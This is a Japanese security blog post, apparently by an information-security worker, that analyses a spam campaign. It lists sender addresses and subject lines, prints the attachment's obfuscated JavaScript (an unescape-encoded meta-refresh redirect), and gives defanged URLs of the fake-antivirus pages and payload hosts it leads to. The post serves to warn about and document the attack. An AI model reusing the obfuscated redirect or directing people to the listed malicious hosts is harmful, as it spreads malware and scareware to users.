FC2ブログ

【今日の悪質スクリプト】

# このページは、ウイルス対策ソフトが反応する可能性がありますが、表示するだけで実害があるものはありません。

差出人(複数メール)
"Beulah Oliver" <libidosqs@rightsideadvisors.com>
"German Hurt" <earltr48@renaultcarclub.com>
"Carmen Ham" <endingspg09@richardsapex.com
"Ruby Short" <larksv2@roybakermotors.com>
"Myron Vernon" <initialledgq96@rockfour.com>

サブジェクト(複数メール)
Give her a taste of your giant
Maddona's private party
Anuual wholesale
15 seconds enough to be ready
Beat up the crysis

本文(代表的なメール)
Powerful growth formula.

Forwarded Message Attached

添付HTML
blog_post_080610.htm
中身
document.write(unescape('%20%20%3C%6D%65%74%61%20%68%74%74%70%2D%65%71%75%69%76%3D%22%72%65%66%72%65%73%68%22%20%63%6F%6E%74%65%6E%74%3D%22%30%3B%75%72%6C%3D%68%74%74%70%3A%2F%2F%73%68%61%6D%65%6C%65%73%73%66%72%65%65%67%69%66%74%2E%63%6F%6D%2F%78%2E%68%74%6D%6C%22%3E'));
→ 難読化の解除(誘導先)
h丁丁p://shamelessfreegift.com/x.html
→誘導先1
h丁丁p://hoopdotami.cz.cc/scanner5/?afid=24 ↓ aguse.jpによる画面 偽物ソフトの動画と思われる。
hoopdotamiczcc.jpg
→誘導先2 ↓ こちらが本体か?
h丁丁p://yummyeyes.ru:8080/index.php?pid=10

コメント


非公開コメント

プロフィール

どらいつ 家主:どらいつ

情報セキュリティ会社勤務。13年前からタバコを止めたが禁煙はしてない。ダイエットとリバウンドの繰り返し。


1958年 北九州市生まれ。大原小学校、池田小学校、香月中学、北九州予備校、東筑高校、熊本大学土木科(中退)、1984年就職、現在にいたる。

中学時は水泳部。部内で平泳ぎ 4位(4人中)。高校・大学時代9年間はラグビー。ポジションはフッカー。当時に今の体重があれば、、

ツイッター(Twitter) dry2
つぶやきログ(Twilog) dry2
日経電子版コラム
日経BP連載
グーグル+写真アルバム
フォト蔵 dry2

最新記事
最新コメント
カテゴリ
RSS
どらいつのお気に入り